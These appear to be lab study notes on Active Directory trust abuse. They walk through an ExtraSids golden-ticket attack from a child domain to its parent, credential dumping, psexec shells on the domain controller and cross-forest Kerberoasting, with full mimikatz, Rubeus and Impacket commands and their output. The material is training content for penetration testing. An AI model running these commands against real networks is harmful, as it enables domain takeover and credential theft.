Trust
Enumerating Trust Relationships
PS C:\htb> Import-Module activedirectory
PS C:\htb> Get-ADTrust -Filter *
Direction : BiDirectional
DisallowTransivity : False
DistinguishedName : CN=LOGISTICS.INLANEFREIGHT.LOCAL,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ForestTransitive : False
IntraForest : True
IsTreeParent : False
IsTreeRoot : False
Name : LOGISTICS.INLANEFREIGHT.LOCAL
ObjectClass : trustedDomain
ObjectGUID : f48a1169-2e58-42c1-ba32-a6ccb10057ec
SelectiveAuthentication : False
SIDFilteringForestAware : False
SIDFilteringQuarantined : False
Source : DC=INLANEFREIGHT,DC=LOCAL
Target : LOGISTICS.INLANEFREIGHT.LOCAL
TGTDelegation : False
TrustAttributes : 32
TrustedPolicy :
TrustingPolicy :
TrustType : Uplevel
UplevelOnly : False
UsesAESKeys : False
UsesRC4Encryption : False
PowerView
PS C:\htb> Get-DomainTrust
SourceName : INLANEFREIGHT.LOCAL
TargetName : LOGISTICS.INLANEFREIGHT.LOCAL
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 11/1/2021 6:20:22 PM
WhenChanged : 2/26/2022 11:55:55 PM
SourceName : INLANEFREIGHT.LOCAL
TargetName : FREIGHTLOGISTICS.LOCAL
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Bidirectional
WhenCreated : 11/1/2021 8:07:09 PM
WhenChanged : 2/27/2022 12:02:39 AM
PS C:\htb> Get-DomainTrustMapping
SourceName : INLANEFREIGHT.LOCAL
TargetName : LOGISTICS.INLANEFREIGHT.LOCAL
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 11/1/2021 6:20:22 PM
WhenChanged : 2/26/2022 11:55:55 PM
SourceName : INLANEFREIGHT.LOCAL
TargetName : FREIGHTLOGISTICS.LOCAL
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Bidirectional
WhenCreated : 11/1/2021 8:07:09 PM
WhenChanged : 2/27/2022 12:02:39 AM
SourceName : FREIGHTLOGISTICS.LOCAL
TargetName : INLANEFREIGHT.LOCAL
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Bidirectional
WhenCreated : 11/1/2021 8:07:08 PM
WhenChanged : 2/27/2022 12:02:41 AM
SourceName : LOGISTICS.INLANEFREIGHT.LOCAL
TargetName : INLANEFREIGHT.LOCAL
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 11/1/2021 6:20:22 PM
WhenChanged : 2/26/2022 11:55:55 PM
Checking Users in the Child Domain using Get-DomainUser
PS C:\htb> Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
samaccountname
--------------
htb-student_adm
Administrator
Guest
lab_adm
krbtgt
Netdom
C:\htb> netdom query /domain:inlanefreight.local trust
Direction Trusted\Trusting domain Trust type
========= ======================= ==========
<-> LOGISTICS.INLANEFREIGHT.LOCAL
Direct
Not found
<-> FREIGHTLOGISTICS.LOCAL
Direct
Not found
The command completed successfully.
C:\htb> netdom query /domain:inlanefreight.local dc
List of domain controllers with accounts in the domain:
ACADEMY-EA-DC01
The command completed successfully.
C:\htb> netdom query /domain:inlanefreight.local workstation
List of workstations with accounts in the domain:
ACADEMY-EA-MS01
ACADEMY-EA-MX01 ( Workstation or Server )
SQL01 ( Workstation or Server )
ILF-XRG ( Workstation or Server )
MAINLON ( Workstation or Server )
CISERVER ( Workstation or Server )
INDEX-DEV-LON ( Workstation or Server )
...SNIP...
Child -> Parent Trust
Windows
ExtraSids Attack - Mimikatz
Obtaining KRBTGT NT hash
PS C:\htb> mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561e
SID for the child domain - PowerView
PS C:\htb> Get-DomainSID
S-1-5-21-2806153819-209893948-922872689
Enterprise Admins Group SID - PowerView
PS C:\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
distinguishedname objectsid
----------------- ---------
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519
At this point, we have gathered the following data points:
The KRBTGT hash for the child domain:
9d765b482771505cbe97411065964d5f
The SID for the child domain:
S-1-5-21-2806153819-209893948-922872689
The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user:
hacker
The FQDN of the child domain:
LOGISTICS.INLANEFREIGHT.LOCAL
The SID of the Enterprise Admins group of the root domain:
S-1-5-21-3842939050-3880317879-2865463114-519
Golden Ticket to access all resources within the parent domain
PS C:\htb> mimikatz.exe
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
User : hacker
Domain : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID : S-1-5-21-2806153819-209893948-922872689
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session
PS C:\htb> klist
Current LogonId is 0:0xf6462
Cached Tickets: (1)
#0> Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 3/28/2022 19:59:50 (local)
End Time: 3/25/2032 19:59:50 (local)
Renew Time: 3/25/2032 19:59:50 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
Volume Serial Number is B8B3-0D72
Directory of \\academy-ea-dc01.inlanefreight.local\c$
09/15/2018 12:19 AM <DIR> PerfLogs
10/06/2021 01:50 PM <DIR> Program Files
09/15/2018 02:06 AM <DIR> Program Files (x86)
11/19/2021 12:17 PM <DIR> Shares
10/06/2021 10:31 AM <DIR> Users
03/21/2022 12:18 PM <DIR> Windows
0 File(s) 0 bytes
ExtraSids Attack - Rubeus
/rc4
flag is the NT hash for the KRBTGT account
PS C:\htb> .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Build TGT
[*] Building PAC
[*] Domain : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
[*] SID : S-1-5-21-2806153819-209893948-922872689
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : LOGISTICS.INLANEFREIGHT.LOCAL
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'hacker@LOGISTICS.INLANEFREIGHT.LOCAL'
[*] AuthTime : 3/29/2022 10:06:41 AM
[*] StartTime : 3/29/2022 10:06:41 AM
[*] EndTime : 3/29/2022 8:06:41 PM
[*] RenewTill : 4/5/2022 10:06:41 AM
[*] base64(ticket.kirbi):
doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxBTkVG
<SNIP >
Q0FMqTIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5MT0NBTA==
[+] Ticket successfully imported!
When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller.
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : lab_adm
** SAM ACCOUNT **
SAM Username : lab_adm
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID : 1001
Credentials:
Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
lm - 0: 6053227db44e996fe16b107d9d1e95a0
Linux
Step by step
KRBTGT Hash
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
krbtgt:des-cbc-md5:fee04c3d026d7538
[*] Cleaning up...
SID child domain
$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
Password:
[*] Brute forcing SIDs at 172.16.5.240
[*] StringBinding ncacn_np:172.16.5.240[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
500: LOGISTICS\Administrator (SidTypeUser)
501: LOGISTICS\Guest (SidTypeUser)
502: LOGISTICS\krbtgt (SidTypeUser)
512: LOGISTICS\Domain Admins (SidTypeGroup)
513: LOGISTICS\Domain Users (SidTypeGroup)
<SNIP>
$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
Password:
[*] Domain SID is: S-1-5-21-2806153819-209893948-92287268
Enterprise Admin Group SID
$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
Password:
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\administrator (SidTypeUser)
501: INLANEFREIGHT\guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
514: INLANEFREIGHT\Domain Guests (SidTypeGroup)
515: INLANEFREIGHT\Domain Computers (SidTypeGroup)
516: INLANEFREIGHT\Domain Controllers (SidTypeGroup)
517: INLANEFREIGHT\Cert Publishers (SidTypeAlias)
518: INLANEFREIGHT\Schema Admins (SidTypeGroup)
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
-> S-1-5-21-3842939050-3880317879-2865463114-519
Golden Ticket
$ ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for LOGISTICS.INLANEFREIGHT.LOCAL/hacker
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in hacker.ccache
$ export KRB5CCNAME=hacker.ccache
$ psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
[*] Uploading file nkYjGWDZ.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service eTCU on 172.16.5.5.....
[*] Starting service eTCU.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> hostname
ACADEMY-EA-DC01
secretsdump LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
RaiseChild.py - All in one
$ raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Raising child domain LOGISTICS.INLANEFREIGHT.LOCAL
[*] Forest FQDN is: INLANEFREIGHT.LOCAL
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] INLANEFREIGHT.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for LOGISTICS.INLANEFREIGHT.LOCAL
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[*] Requesting shares on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file BnEGssCE.exe
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Creating service UVNb on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Starting service UVNb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Stopping service UVNb.....
[*] Removing service UVNb.....
[*] Removing file BnEGssCE.exe.....
if
[-] [Errno Connection error (LOGISTICS.INLANEFREIGHT.LOCAL:445)] [Errno -3] Temporary failure in name resolution
add IP in /etc/hosts
-debug
to get more info
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm -debug
Cross-Forest Trust Abuse
Windows
Cross Domain Kerberoasting
From inlanefreight.local - Powerview
PS C:\htb> Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
samaccountname
--------------
krbtgt
mssqlsvc
PS C:\htb> Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
samaccountname memberof
-------------- --------
mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL
PS C:\htb> .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target User : mssqlsvc
[*] Target Domain : FREIGHTLOGISTICS.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL/DC=FREIGHTLOGISTICS,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=mssqlsvc)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : mssqlsvc
[*] DistinguishedName : CN=mssqlsvc,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL
[*] ServicePrincipalName : MSSQLsvc/sql01.freightlogstics:1433
[*] PwdLastSet : 3/24/2022 12:47:52 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$MSSQLsvc/sql01.freightlogstics:1433@FREIGHTLOGISTICS.LOCAL*$<SNIP>
Admin password reuse
Enumerate groups with users that do not belong to the domain, also known as foreign group membership
PS C:\htb> Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
GroupDomain : FREIGHTLOGISTICS.LOCAL
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain : FREIGHTLOGISTICS.LOCAL
MemberName : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS
TICS,DC=LOCAL
PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
INLANEFREIGHT\administrator
PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator
[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : ACADEMY-EA-DC03
Primary Dns Suffix . . . . . . . : FREIGHTLOGISTICS.LOCAL
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : FREIGHTLOGISTICS.LOCAL
Linux
Cross Forest Kerberoast
$ GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ----------
MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 <never>
-request
flag added gives us the TGS ticket
$ GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- ------------------------------------------------------ -------------------------- --------- ----------
MSSQLsvc/sql01.freightlogstics:1433 mssqlsvc CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL 2022-03-24 15:47:52.488917 <never>
$krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$FREIGHTLOGISTICS.LOCAL/mssqlsvc*$10<SNIP>
Last updated